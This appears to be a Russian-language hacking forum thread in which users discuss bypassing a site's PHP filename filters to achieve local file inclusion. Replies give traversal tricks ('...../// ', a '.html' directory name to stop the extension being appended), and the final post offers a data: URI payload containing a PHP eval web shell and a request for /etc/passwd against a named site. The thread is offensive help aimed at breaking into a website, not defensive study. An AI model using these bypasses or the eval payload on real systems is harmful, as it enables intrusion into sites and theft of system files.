есть запрос Выдает ответ А вот сама фильтрация в файле index.php PHP: $file = str_replace("http://","",$file); $file = str_replace("ftp://","",$file); $file = str_replace("://","",$file); $file = str_replace(chr(0),"",$file); $file = str_replace("../","",$file); $file = str_replace("./","",$file); $file = str_replace("%","",$file); if (strpos($file,".html") === FALSE) { $file .= ".html"; } Кроме того при обработке file фильтруется PHP: $theValue = str_replace(";","",$theValue); $theValue = str_replace("<?","",$theValue); $theValue = str_replace("?>","",$theValue); $theValue = htmlentities($theValue); Это как то можно обойти и заинклудить файл? Мои благодарности!!!
никак. тут, хоть и по быдляцки организованная, но всё же, фильтрация есть на конец файла что будет инклудится. выйти на пределы папки можно используя ...../// а вот расширение не отбросить.
По папкам перебераться научился. При запросе а при выдает default.html в корневой директории. Но вот как отрезать .html Пробовал слеши. при запросе дает если слешей меньше - просто говорит что не найден файл((( Может кто подскажет как откинуть хвост? Спасибо
если научился перебратся по папкам, тогда .html легко вырезать, в коде же написано, если в имени файла есть .html , то добавлятся не будет в конце, то есть можешь использовать .html Например как имя папки, а потом выйти за его пределы
$file = '/папка/.html/[выйти_за_пределы_папки_.html]/а_тут_что_хочешь' в этом случий в конце не будет добавлено .html, так как условие if (strpos($file,".html") == FALSE)) НЕ выполняется
Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA например так: http://site.ru/index.php?id=data:,<?php eval ($_REQUEST[cmd]); ?>&cmd=../../../../../../etc/passwd